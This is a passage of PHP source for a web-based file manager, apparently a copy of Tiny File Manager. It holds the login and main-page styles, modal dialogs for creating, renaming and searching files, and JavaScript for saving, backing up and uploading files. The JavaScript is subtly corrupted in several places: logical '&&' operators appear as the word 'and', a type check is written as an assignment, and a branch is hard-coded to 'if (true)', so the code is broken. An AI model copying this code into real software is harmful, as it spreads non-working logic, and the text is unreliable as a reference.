0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="spathe">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
